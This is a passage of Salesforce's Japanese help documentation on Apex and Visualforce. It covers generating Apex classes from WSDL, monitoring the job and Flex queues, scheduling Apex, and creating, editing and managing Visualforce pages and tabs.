Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

Apex クラスの定義、編
集、削除、セキュリティ
設定、バージョン設定、
連動関係の表示、および
テストの実行を行う
• 「Apex 開発」

Apexクラスは、ローカルハードドライブやネットワークに保管されている WSDL

ドキュメントから自動的に生成されます。WSDL ドキュメントを使ってクラスを
作成すると、開発者は Apex の中で外部 Web サービスを呼び出すことができま
す。

メモ: 可能な場合には、アウトバウンドメッセージを使用して、インテグ
レーションソリューションを処理します。必要な場合に限り、サードパー
ティの Web サービスの呼び出しを使用します。

この機能にアクセスする手順は、次のとおりです。
1. アプリケーションで、[設定] から、[クイック検索] ボックスに「Apex クラ

ス」と入力し、[Apex クラス] を選択します。
2. [WSDL からの生成] をクリックします。
3. [参照] をクリックして、ローカルハードドライブまたはネットワーク上の

WSDL ドキュメントを選択するか、フルパスを入力します。この WSDL ドキュ
メントが、作成する Apex クラスの基礎となります。

メモ: 指定した WSDL ドキュメントに、送信ポートを参照する SOAP エン
ドポイントの場所が記載されている場合があります。
セキュリティ上の理由から、Salesforceでは、指定できる送信ポートを、
次のいずれかに制限します。
• 80: このポートは、HTTP 接続のみを受け付けます。
• 443: このポートは、HTTPS 接続のみを受け付けます。
• 1024–66535 (1024 と 66535 も含む): これらのポートは、HTTP 接続または

HTTPS 接続を受け付けます。

4. [WSDL を解析]をクリックして、WSDL ドキュメントの内容を確認します。アプリケーションが、WSDL ドキュ
メント内の各名前空間のデフォルトクラス名を生成し、エラーがあれば報告します。WSDL にApexクラスが
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サポートしていないスキーマ種別または構造が含まれている場合や、結果生成されるクラス名が 100 万文
字という Apex クラスの制限を超える場合は、解析に失敗します。たとえば、Salesforce SOAP API WSDL は解析
できません。

5. 必要に応じて、そのクラス名を変更します。それぞれの名前空間に対して同じクラス名を使用することに
より、1 つのクラスに複数の WSDL 名前空間を保存できますが、Apex クラスは、合計 100 万文字以内にして
ください。

6. [Apex の生成] をクリックします。ウィザードの最終ページには、正常に生成されたクラスと、その他のク
ラスのエラーが表示されます。また、正常に生成されたコードを表示するためのリンクも示されます。

正常に生成された Apexクラスには、WSDL ドキュメントで示されるサードパーティ Web サービスをコールする
スタブと種別クラスが含まれています。これらのクラスにより、Apex から外部の Web サービスをコールする
ことができます。生成されたクラスごとに、同じ名前で Async というプレフィックスが付いた 2 つ目のクラ
スが作成されます。1 つ目のクラスは、同期コールアウトに使用されます。2 つ目のクラスは、非同期コール
アウトに使用されます。詳細は、『Force.com Apex コード開発者ガイド』を参照してください。
生成された Apex に関して次の点に注意してください。
• WSDL ドキュメントに Apex の予約語が含まれている場合は、Apex クラスが生成されるときに、その語の後

ろに「_x」が付きます。たとえば、WSDL ドキュメントに「limit」があると、生成されるApexクラスでは
「limit_x」になります。予約語のリストについては、『Force.com Apex コード開発者ガイド』を参照して
ください。

• WSDL の操作に複数の要素を含む出力メッセージがある場合、生成されたApexは内部クラスの要素をラップ
します。WSDL の操作を示す Apex メソッドは、各要素ではなく内部クラスを返します。

関連トピック:

Apex クラスの定義

Apex ジョブキューの監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Apex ジョブキューには、実行されたすべての Apex ジョブが表示されます。まだ
終了していないジョブだけでなく、実行が完了したジョブも表示されます。具
体的なジョブは次のとおりです。
• まだ実行されていない futureアノテーションを含むApexメソッド。このよ

うなジョブは、[ジョブ種別] 列に「今後」と表示され、[合計バッチ数] や [一
括処理済み] 列には値がありません。

• まだ実行されていない Queueable インターフェースを実装する Apex クラ
ス。このようなジョブは、[ジョブ種別] 列に「今後」と表示され、[合計バッ
チ数] や [一括処理済み] 列には値がありません。

• まだ実行が完了していないスケジュール済み Apex ジョブ。
– このようなジョブは、[ジョブ種別] 列に「スケジュール済みApex」と表示

され、[合計バッチ数] や [一括処理済み] 列には値がなく、常に [キュー] 状
況になっています。

– スケジュール済みジョブをこのページから中止することはできません。[スケジュール済みジョブ] ペー
ジを使用して、スケジュール済みジョブを管理または削除してください。
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– スケジュール済みジョブが [Apexジョブ] ページと [スケジュール済みジョブ] ページの両方に表示されて
も、非同期 Apex 実行制限に対してカウントされるのは 1 回だけです。

• まだ実行を終了していない Apex 共有再適用一括処理ジョブ。このようなジョブは、[ジョブ種別] 列に「共
有の再適用」と表示されます。共有の再適用ジョブのレコードは自動的にバッチに分割されます。[合計
バッチ数] 列には、そのジョブの合計バッチ数が表示されます。[一括処理済み] 列には、すでに処理された
バッチ数が表示されます。

• まだ実行を終了していない Apex の一括処理ジョブ。このようなジョブは、[ジョブ種別] 列に「Apex の一括
処理」と表示されます。Apex一括処理ジョブのレコードは自動的にバッチに分割されます。[合計バッチ数]

列には、そのジョブの合計バッチ数が表示されます。[一括処理済み] 列には、すでに処理されたバッチ数
が表示されます。

メモ: 共有再適用一括処理ジョブは、現在限定リリースプログラムで使用できます。組織での Apex 共有
再適用一括処理ジョブの有効化についての詳細は、Salesforce にお問い合わせください。

次の表は、ジョブの状況に使用できる値の一覧です。[状況] 列にはジョブの現在の状況が表示されます。状況
には次のものがあります。

説明状況

ジョブは実行待ちです。キュー

ジョブの start メソッドが呼び出されました。この
状況は、レコードのバッチサイズに応じて数分かかる
ことがあります。

準備中

ジョブは処理中です。処理中

ジョブはユーザによって中止されました。中止

ジョブはエラーあり/なしで完了しました。完了

ジョブでシステム障害が発生しました。失敗

Apex 一括処理ジョブは、Apex Flex キュー内にある場合に Holding の状況も設定できます。「Apex Flex キュー
の監視」を参照してください。
バッチ処理中に 1 つ以上のエラーが発生した場合は、[状況の詳細] 列に最初のエラーの簡単な説明が表示され
ます。そのエラーおよび後続のエラーの詳細は、バッチクラスの実行を開始したユーザにメールで送信されま
す。
すべての Apex 一括処理クラスを表示するには、ページの上部にあるリンクをクリックして一括処理ジョブペー
ジに移動します。特定の一括処理クラスで[詳細情報]をクリックすると、次の情報を含む一括処理クラスの親
ジョブが表示されます。
• 状況
• 実行日と完了日
• 各一括処理の経過時間
• 一括処理された数
• 一括処理に失敗した数
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項目の絞り込みリストを表示するには、[ビュー] ドロップダウンリストから事前定義済みのリストを選択す
るか、[新規ビューの作成]をクリックして、自分専用のカスタムビューを定義します。これは、futureメソッ
ドのみを表示する場合に特に便利です。
Apex の一括処理ジョブの start メソッドは、組織内で一度に 1 つのみ実行できます。キュー内のまだ開始さ
れていない一括処理ジョブは、開始されるまで保持されます。なお、この制限により一括処理ジョブが失敗す
ることはありません。また、複数のジョブが実行されている場合は、Apex の一括処理ジョブの execute メ
ソッドが並行して実行されます。
Apexジョブの場合は、[アクション] 列の [ジョブを中止]をクリックしてそのジョブのすべての処理を中止でき
ます。
実行が完了したバッチジョブはすべて、完了後 7 日でバッチキューリストから削除されます。
Apex についての詳細は、『Force.com Apex コード開発者ガイド』を参照してください。

関連トピック:

Apex のスケジュール設定

Apex Flex キューの監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

[Apex Flex キュー] ページを使用して、状況が「保留」のすべての一括処理ジョブ
の参照および並び替えを行うことができます。または、Apex コードを使用して
プログラムで一括処理ジョブを並び替えることができます。
今後の実行に対して最大100個の一括処理ジョブを保留状況にできます。システ
ムリソースが使用可能になったら、Apex Flex キューの先頭からジョブが取り出さ
れ、一括処理ジョブキューに移動されます。組織ごとに、最大 5 件のキュー内
のジョブまたは有効なジョブを同時に処理できます。ジョブが処理のために Flex

キューから移動されると、その状況は [保留] から [キュー] に変更されます。
キュー内にあるジョブは、システムが新しいジョブを処理できる状態になると
実行されます。
Apex Flex キュー内のジョブを並び替えてジョブの優先度を設定できます。たとえ
ば、一括処理ジョブを保留キュー内の先頭位置に移動して、リソースが使用可
能になったら最初に処理されるようにすることができます。並び替えない場合、ジョブは、送信された順序
(先入れ先出し) で処理されます。

Apex Flex キューの監視と並び替え
[Apex Flex キュー] ページには、保留状況のすべての一括処理ジョブが表示されます。ジョブ ID、送信日、Apex

クラスなど、ジョブに関する情報が表示されます。デフォルトでは、ジョブには、最初に送信されたジョブに
対応する位置番号 1 から、送信された順番に番号が付けられます。ジョブの位置を変更するには、[並び替え]

をクリックし、新しい位置番号を入力します。ジョブは指定された位置に移動します。ただし、その位置番号
がキュー内のジョブ数よりも大きい場合を除きます。位置番号がキュー内のジョブ数よりも大きい場合、ジョ
ブはキューの最後に置かれます。ジョブを移動すると、Flex キュー内にあるその他すべてのジョブは、適宜並
び替えられ、番号が振り直されます。
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メモ: Salesforce ユーザインターフェースでは、Flex キューの先頭にあるジョブが位置番号 1 になります。
ただし、プログラムで Flex キューを操作する場合、Flex キュー内の先頭位置はインデックス 0 にあります。

次のジョブが Apex Flex キューから処理のために選択されると、このジョブは Flex キューから一括処理ジョブ
キューに移動します。[Apex ジョブ] ページで [Apex ジョブ] をクリックすると、移動したジョブを監視できま
す。
または、System.FlexQueue Apex メソッドを使用して、Flex キュー内の一括処理ジョブを並び替えることが
できます。Flex キューをテストするには、System.Test クラスの getFlexQueueOrder() および
enqueueBatchJobs(numberOfJobs) メソッドを使用します。

関連トピック:

Apex 開発者ガイド: FlexQueue Class

Apex 開発者ガイド: enqueueBatchJobs(numberOfJobs)

Apex 開発者ガイド: getFlexQueueOrder()

Apex のスケジュール設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

特定の Apex クラスを定期的に実行する場合、または Salesforce ユーザインター
フェースを使用して Apex の一括処理ジョブを実行する場合は、Apex スケジュー
ラを使用します。
スケジューラは、システムとして実行されます。ユーザがそのクラスの実行権
限を持っているかどうかにかかわらず、すべてのクラスが実行されます。

重要: Salesforceは、指定された時間に実行されるようにクラスをスケジュー
ル設定します。実際の実行は、サービスの使用可能状態に応じて遅れる場
合があります。

Apex スケジューラを使用してジョブのスケジュール設定を行う手順は、次のと
おりです。
1. 実行するクラスのインスタンスを作成するApexクラスにSchedulableイン

ターフェースを実装します。
2. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラス] を選択して、[Apex をス

ケジュール] をクリックします。
3. スケジュールを設定するクラスの名前を指定します。
4. Apex クラスを実行する頻度を指定します。

• [毎週] の場合、ジョブを実行する曜日を 1 つ以上指定します ([月曜] と [水曜] など)。
• [毎月] の場合、ジョブを実行する日付または曜日 (毎月第 2 土曜など) を指定します。

5. Apex のスケジュール済みクラスの開始日と終了日を指定します。日付を 1 つ指定した場合は、ジョブは 1

回のみ実行されます。
6. 希望開始時刻を指定します。ジョブが開始する正確な時刻は、サービスの可用性によって異なります。
7. [保存] をクリックします。
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メモ: 同時に使用できる有効なジョブまたはスケジュール済みジョブの数は 100 件です。

または、System.scheduleBatchメソッドをコールして、一括処理ジョブを将来のある時点で一度実行する
ようにスケジュールできます。詳細は、『Apex 開発者ガイド』の「System.scheduleBatch メソッドの使
用」を参照してください。
Apexジョブのスケジュールを設定した後、ジョブの進行状況は[すべてのスケジュール済みジョブ]ページで監
視できます。
ジョブが完了すると、[Apex ジョブ] ページでそのジョブの明細 (成功か失敗か、処理にかかった時間、処理レ
コード数など) を参照できます。

FAQ - Apex

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Apex で外部の Web サービスを呼び出すことはできますか?

Apex コールアウトでサポートされている WSDL スキーマの種類とは?

Apex クラスとトリガの違いは?

Apex で外部の Web サービスを呼び出すことはできますか?

はい。Apexを使用して Web サービスの操作をコールできます。[Apexクラス] ペー
ジを使用して、外部 Web サービスのメソッドをコールする前に、まず、このサー
ビスの WSDL ドキュメントから Apex クラスを作成してください。

関連トピック:

FAQ - Apex

Apex コールアウトでサポートされている WSDL スキーマの種類とは?

コールアウトでは、Apex は、ドキュメントリテラルでラップした WSDL スタイルとプリミティブデータ型およ
び組み込みデータ型のみをサポートしています。WSDL ドキュメントを検証し、サポートされているタイプの
スキーマが含まれていることを確認することをお勧めします。Apexで型がサポートされていない場合は、Web

サービス処理へのコールアウトにより「Unable to parse callout response. Apex type not found for element item.」などの
コールアウトレスポンスで戻されるエラーが発生する可能性があります。

関連トピック:

FAQ - Apex

Apex クラスとトリガの違いは?

Apex クラスは、Apex オブジェクト作成するためのテンプレート、つまり設計図です。他のクラス、ユーザ定
義メソッド、変数、例外種別、および static 初期設定化コードで構成されます。トリガは、オブジェクトレコー
ドがデータベースに挿入される前や、レコードが削除された後など、特定のデータ操作言語 (DML) 行動が発生

6599

コードの使用コードを使用した Salesforce の拡張

https://developer.salesforce.com/docs/atlas.ja-jp.206.0.apexcode.meta/apexcode/


する前後に実行される Apex コードです。トリガは標準オブジェクトまたはカスタムオブジェクトに関連付け
られており、Apex クラスのメソッドを呼び出すことができます。

関連トピック:

FAQ - Apex

Visualforce

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visualforce は、Force.com プラットフォームでネイティブにホストできる高度なカ
スタムユーザインターフェースを、開発者が作成できるようにするフレームワー
クです。Visualforceフレームワークには、HTML に似たタグベースのマークアップ
言語、およびクエリや保存など、基本的なデータベース操作を非常に簡単に実
行できるサーバ側の「標準コントローラ」のセットが含まれています。
Visualforce を使用して、次のことができます。
• 標準のSalesforceスタイルを簡単に利用できるカスタムユーザインターフェー

スの作成
• 標準のSalesforceスタイルを完全に置き換えるカスタムユーザインターフェー

スの作成
• アプリケーションの対話を最適化および効率化するためのデータ固有のルー

ルを使用するウィザードおよびその他のナビゲーションパターンの作成
Visualforce には豊富なコンポーネントライブラリが備わっており、開発者は各種
機能を自分で作成することなく、すばやくページを開発できます。Visualforce マークアップ言語では、各タグ
が、ページのセクション、関連リスト、または項目など、大まかなコンポーネントときめの細かいコンポーネ
ントのどちらにも対応しています。コンポーネントの動作は、標準のSalesforceページと同じロジックを使用し
て制御することも、開発者が独自のロジックを Apex で記述されたカスタムコントローラまたはコントローラ
拡張と関連付けることもできます。

Visualforce ページ
Visualforce ページは、Visualforce で作成されたカスタムアプリケーションの最上位コンテナです。Visualforce

ページを作成するには、Visualforce コンポーネント (標準またはカスタム)、静的 HTML マークアップ、CSS ス
タイルと JavaScript をページに追加します。
Visualforce コンポーネント
Visualforceコンポーネントは、Visualforceページマークアップで使用する、ウィジェット、パネル、ユーザイ
ンターフェース要素などの小さく再利用可能な機能です。標準のVisualforceコンポーネントを使用すること
も、独自のカスタムコンポーネントを作成することもできます。
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静的リソース
静的リソースにより、アーカイブ (.zip や .jar ファイルなど)、画像、スタイルシート、JavaScript、その他の
ファイルなど、Visualforce ページ内で参照できるコンテンツをアップロードできます。

関連トピック:

Visualforce ページの定義
Visualforce コンポーネント
Visualforce 開発者ガイド

Visualforce ページ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visualforce ページは、Visualforce で作成されたカスタムアプリケーションの最上位
コンテナです。Visualforceページを作成するには、Visualforceコンポーネント (標準
またはカスタム)、静的 HTML マークアップ、CSS スタイルと JavaScript をページに
追加します。
各 Visualforce ページには、それぞれ固有の永続的 URL があり、Visualforce ページを
まとめてリンクして複雑なアプリケーション機能を作成できます。

Visualforce ページの定義
開発モードの有効化
Visualforce ページの表示と編集
Visualforce ページの管理
Visualforce ページの差し込み項目
Visualforce タブの作成
Visualforce タブを作成すると、ユーザが Salesforce 内から Visualforce ページにアクセスできます。
Visualforce で検出されなかった例外
Visualforce ページおよびカスタムコンポーネントのバージョン設定の管理
ブラウザセキュリティ設定と Visualforce

一部の Visualforce ページは *.force.com サーバから実行されます。ブラウザの信頼できるサイトが
*.salesforce.com を含むよう設定すると、リストに *.force.com を追加する必要があります。
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Visualforce ページの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceページを作成、
編集、および設定する
• 「アプリケーションの

カスタマイズ」

Visualforce ページは、Visualforce 開発モードを使用するか、[設定] でページを作成
することにより作成できます。
Visualforce 開発モードで利用できる「クィック修正」ツールを使用してページを
作成する手順は、次のとおりです。
1. https://mySalesforceInstance/apex/nameOfNewPage の形式でブラウ

ザに URL を入力します。mySalesforceInstance の値は Salesforce インスタ
ンスのホスト名 (na3.salesforce.com など)、nameOfNewPage の値は、
ページ定義の [名前] 項目に指定する名前です。
たとえば、インスタンス na3.salesforce.com を使用している Salesforce組
織で「HelloWorld」というページを作成するには、
https://na3.salesforce.com/apex/HelloWorld と入力します。

メモ: ページ名は、40 文字以内にしてください。

2. ページはまだ存在しないため、中間ページが表示され、そこから新規ページ
を作成できるようになっています。新規ページを作成するには、
[[nameOfNewPage ページを作成]] をクリックします。ページの [名前] およ
び [表示ラベル]の両方に、URL で指定された nameOfNewPage値が割り当て
られます。

[設定] でページを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Visualforce ページ」と入力し、[Visualforce ページ] を選択し

ます。
2. [新規] をクリックします。
3. [名前] テキストボックスで、ページ名として URL に表示するテキストを入力します。この名前は、アン

ダースコアと英数字のみを使用でき、組織内で一意にする必要があります。最初は文字であること、空白
は使用しない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制約が
あります。

4. [表示ラベル]テキストボックスで、カスタムタブの定義や、標準ボタンの上書きを行うときなどに、[設定]

ツールでページの識別に使用するテキストを入力します。
5. [名前] テキストボックスで、API 内でページの識別に使用されるテキストを入力します。この名前は、ア

ンダースコアと英数字のみを使用でき、組織内で一意にする必要があります。最初は文字であること、空
白は使用しない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制約
があります。

6. [説明] テキストボックスで、ページの任意の説明を指定します。
7. [Salesforce モバイルアプリケーションでの使用が可能] を選択して、Salesforce1 アプリケーションに表示

される、Visualforce ページに関連付けられた Visualforce タブを有効にします。このチェックボックスは、API

バージョン 27.0 以降に設定されたページで使用できます。
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メモ: Visualforce ページで上書きされる標準オブジェクトタブは、そのページに [Salesforce モバイ
ルアプリケーションでの使用が可能] オプションを選択しても、Salesforce1 ではサポートされません。
Visualforce ページの代わりに、オブジェクトのデフォルトの Salesforce1 ページが表示されます。
このオプションは、Salesforce Classic Mobile モバイルアプリケーションの Visualforce サポートには適用さ
れません。代わりに、Visualforceタブ設定ページの [Salesforce Classic Mobile 準備完了]チェッ
クボックスを使用します。

8. [GET 要求の CSRF 保護が必要] を選択して、ページの GET 要求のクロスサイトリクエストフォージェリ (CSRF)

保護を有効にします。このチェックボックスをオンにすると、URL パラメータの無作為な文字列である CSRF

確認トークンを要求するようにページが変更されて CSRF 攻撃から防御されます。GET 要求が行われるたび
に、Visualforce はこの文字列の有効性をチェックし、期待される値に一致する値が見つからない限りページ
を読み込みません。
ページの初期読み込み時に DML 操作を実行する場合は、このボックスをオンにします。オンにすると、こ
のページへのリンクすべてで URL クエリ文字列パラメータに CSRF トークンを追加する必要があります。こ
のチェックボックスは、API バージョン 28.0 以降に設定されたページで使用できます。

メモ:  Summer '13 では、有効な CSRF トークンを URL に追加する唯一の方法は、オブジェクトの標準削除
リンクをVisualforceページで置き換えることです。削除リンクには自動的に必要なトークンが含まれま
す。オブジェクトの標準削除リンクを上書きしないページの場合、このボックスをオンにしないでく
ださい。

9. [Visualforce マークアップ] テキストボックスで、そのページの Visualforceマークアップを入力します。
1 つのページには、最大 1 MB のテキスト、約 1,000,000 文字まで保持できます。

10. [バージョン設定]をクリックして、このページで使用するVisualforceおよびAPIのバージョンを指定します。
また、組織にインストールされている管理パッケージのバージョンを指定できます。

11. [保存] をクリックし、変更を保存して Visualforce 詳細画面に戻るか、[適用] をクリックして変更を保存し、
ページの編集を続行します。ページを保存するには、まずVisualforceマークアップが有効になっている必要
があります。

メモ: Visualforceマークアップは、[設定] のこの場所で編集できますが、編集の結果を見るにはそのペー
ジの URL に移動する必要があります。そのため、ほとんどの開発者は、開発モードを有効にして作業
することによって単一のウィンドウでページの参照と編集を行うことを好みます。

ページを作成したら、[プレビュー] をクリックすれば、そのページにアクセスできます。また、
http://mySalesforceInstance/apex/nameOfNewPage の形式の URL を入力して手動で表示することもで
きます。この mySalesforceInstance の値は Salesforce インスタンスのホスト名 (na3.salesforce.com な
ど) で、nameOfNewPage の値はページ定義の [名前] 項目の値です。

関連トピック:

開発モードの有効化
Visualforce ページの表示と編集
Visualforce タブの作成
Salesforce1 モバイルアプリケーションの Visualforce ページの有効化
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開発モードの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

開発モードを有効化する
• 「アプリケーションの

カスタマイズ」

[設定] の [Visualforce ページ] ページで Visualforce ページ定義を表示して編集するこ
ともできますが、Visualforce ページを作成するのに最適な方法は Visualforce 開発
モードを有効にすることです。開発モードには、次の機能があります。
• すべてのVisualforceページにある特殊な開発フッターには、ページのビュース

テート、関連付けられたすべてのコントローラ、コンポーネント参照ドキュ
メントへのリンク、およびコンポーネントタグおよび属性名の強調表示、検
索置換機能、および自動推奨を提供するページマークアップエディタが含ま
れています。

• 一意の URL を入力するだけで新規 Visualforce ページを定義できる機能
• 標準ユーザが受け取るスタック追跡よりも詳細な情報が含まれたエラーメッ

セージ
Visualforce 開発モードを有効化する手順は、次のとおりです。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力

し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. [編集] をクリックします。
3. [開発モード] チェックボックスをオンにします。
4. 必要に応じて、[開発モードでビューステートを表示] チェックボックスをオ

ンにして開発フッターの [ビューステート] タブを有効にします。このタブは、Visualforce ページのパフォー
マンス監視に役立ちます。

5. [保存] をクリックします。
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Visualforce ページの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceマークアップを
コピー、編集、または削
除する
• 「アプリケーションの

カスタマイズ」

カスタム Visualforce コン
トローラを編集する
• 「Apex 開発」

[設定] から、[クイック検索] ボックスに「Visualforce ページ」と入力し、
[Visualforceページ]を選択してVisualforceページの名前をクリックすると、作成日
時、最終更新日時、およびページに関連付けられている Visualforceマークアップ
を含む詳細が表示されます。
詳細ページから、次の作業を実行できます。
• 既存のページマークアップを編集するには、[編集] をクリックします。
• ページを削除するには、[削除] をクリックします。
• ページのコピーを作成するには、[コピー] をクリックします。新しいページ

には新しい名前を指定する必要があります。
• 組織内のそのページへの参照をすべて表示するには、[使用場所] をクリック

します。
• [連動関係の表示] をクリックして、項目、オブジェクト、またはその他のク

ラスなど、このクラスが有効であるために存在する必要があるアイテムを表
示します。

• ページを新しいウィンドウに表示するには、[プレビュー]をクリックします。

メモ: Visualforce ページがインストール済み管理パッケージに含まれている
場合は、ページの参照のみ可能です。ページを編集、削除、またはコピー
することはできません。

Visualforceページがインストール済み管理パッケージに含まれている場合は、[イ
ンストール済みパッケージ]はパッケージ名を示します。[使用可能なパッケージ
バージョン]項目には、Visualforceページが使用可能なパッケージバージョンの範
囲が表示されます。範囲の最初のバージョン番号は、最初にインストールされ
た Visualforce ページを含むパッケージバージョンです。

開発モードを有効化して行う Visualforce ページの表示と編集
開発モードを有効にすると、そのページの URL に移動してページコンテンツの表示と編集ができます。たとえ
ば、ページの名前が HelloWorld、自分のSalesforceインスタンスが na3.salesforce.comである場合、ブラ
ウザのアドレスバーに「https://na3.salesforce.com/apex/HelloWorld」と入力します。
開発モードを有効にすると、すべての Visualforce ページで、ブラウザの下部に開発モードフッターが表示され
ます。
• ページの名前のタブをクリックすると、ページエディタが開き、[設定] 領域に戻らずに、関連付けられた

Visualforce マークアップの表示と編集ができます。変更はページの保存直後に表示されます。
• ページでカスタムコントローラを使用する場合、コントローラクラスの名前がタブとして表示されます。

そのタブをクリックすると、関連付けられている Apex クラスを編集できます。
• ページでいずれかのコントローラ拡張を使用する場合、拡張それぞれの名前がタブとして表示されます。

そのタブをクリックすると、関連する Apex クラスを編集できます。
• [設定] で有効にすると、[表示状態]タブには、Visualforceページのビューステートに影響する項目に関する情

報が表示されます。
• [保存] (編集ペインのすぐ上) をクリックすると、変更を保存し、ページのコンテンツを更新できます。
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• [コンポーネントの参照]をクリックすると、サポートされているすべてのVisualforceコンポーネントのドキュ
メントを表示できます。

• [使用場所] をクリックすると、カスタムタブ、コントローラ、またはその他のページなど、そのページを
参照する Salesforce の全項目の一覧が表示されます。

• 開発モードフッターのパネルを折りたたむには、[折りたたむ] ボタン ( ) をクリックします。再度展開表
示に切り替えるには、展開ボタン ( ) をクリックします。

• 開発モードを完全にオフにするには、[開発モードを無効化] ボタン ( ) をクリックします。開発モードは、
個人設定の個人情報ページで再度有効化されるまで、オフのままになります。

Visualforce ページの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceページを作成し
編集する
• 「アプリケーションの

カスタマイズ」

作成したVisualforceページは、カスタマイズ、編集、および削除できます。[設定]

から、[クイック検索]ボックスに「Visualforce ページ」と入力し、[Visualforce

ページ]を選択すると、[ページ] リストページが表示されます。このページには、
組織に定義された Visualforce ページがすべて表示されます。[ページ] リストペー
ジから、次の操作が可能です。
• 新しい Visualforce ページを定義するには、[新規] をクリックします。
• 表示ラベルやVisualforceマークアップなど、そのページの詳細情報を表示する

には、ページ名をクリックします。
• ページの名前、表示ラベル、またはVisualforceマークアップを変更するには、

ページ名の横にある [編集] をクリックします。

メモ: アイコンは、Visualforceページが管理パッケージにインストール
されていることを示します。管理パッケージの Visualforce ページを編集
または削除することはできません。

• ページを削除するには、[削除] をクリックします。
• ページのセキュリティを管理するには、[セキュリティ] をクリックします。
• ページを新しいウィンドウに表示するには、[プレビュー] ボタン ( ) をク

リックします。

メモ: Apex クラス、Apex トリガ、Visualforce コンポーネント、Visualforce ペー
ジ、テンプレート、フォルダ、Sコントロール、静的リソース、Web リン
ク、カスタムレポートタイプは、管理パッケージに含まれると名前空間プ
レフィックスが追加されます。ただし、「アプリケーションのカスタマイ
ズ」権限がない場合、名前空間プレフィックスは、テンプレート、フォル
ダ、カスタムレポートタイプでは表示されません。
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Visualforce ページの差し込み項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。
Visualforceページでは、数式と同じ式の言語を使用します。つまり、{! }内のす
べてが、現在コンテキストにあるレコードから得られる値にアクセスできる式
として評価されます。たとえば、差し込み項目 {!$User.FirstName} をペー
ジに追加すると、現在のユーザのファーストネームを表示できます。

<apex:page>
Hello {!$User.FirstName}!

s</apex:page>

ユーザの名前が John の場合、ページに Hello John! と表示されます。
差し込み項目または他の機能を使用して、オブジェクトレベルのヘルプコンテンツをカスタマイズすることも
できます。

関連トピック:

Visualforce ページの定義
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Visualforce タブの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceタブを作成する
• 「アプリケーションの

カスタマイズ」

Visualforceタブを作成すると、ユーザが Salesforce内から Visualforceページにアクセ
スできます。
1. [設定] から、[クイック検索] ボックスに「タブ」と入力し、[タブ] を選択し

ます。
2. [Visualforce] タブ関連リストで、[新規] をクリックします。
3. [Visualforce] ページを選択して、カスタムタブを表示します。
4. タブに表示する表示ラベルを入力します。
5. [タブスタイル] ルックアップアイコンをクリックして、[タブスタイルの選

択] を表示します。
タブスタイルがすでに使用されている場合は、タブスタイル名の横に角括弧
[] で囲まれた数字が表示されます。スタイル名上にマウスポインタを置き、
そのスタイルを使用しているタブを参照します。タブで未使用のスタイルの
みを表示するには、[他のタブで使用されているスタイルを非表示] をクリッ
クします。

6. タブスタイルをクリックして、カスタムタブの配色とアイコンを選択しま
す。
組織に [ドキュメント] タブへのアクセス権がある場合にカスタムタブスタイ
ルを作成するには、必要に応じて、[タブスタイルの選択] ダイアログの[独自
のスタイルを作成] をクリックします。自分専用のタブスタイルを作成する手順は、次のとおりです。
a. [色]ルックアップアイコンをクリックして色選択ダイアログを表示し、色をクリックして選択します。
b. [画像の挿入] をクリックしてドキュメントフォルダを選択し、使用する画像を選択します。

または、[ドキュメント検索]をクリックして検索語を入力し、[Go!]をクリックすると、検索語を含むド
キュメントファイル名が表示されます。

メモ: このダイアログでは、20 KB 以下で、かつ、ドキュメントプロパティ設定で [外部参照可] チェッ
クボックスがオンになっているドキュメントフォルダに含まれるファイルのみが表示されます。ア
イコンに使用されているドキュメントが削除されると、Salesforce によってデフォルトの多色のブ
ロックアイコン ( ) に置き換えられます。

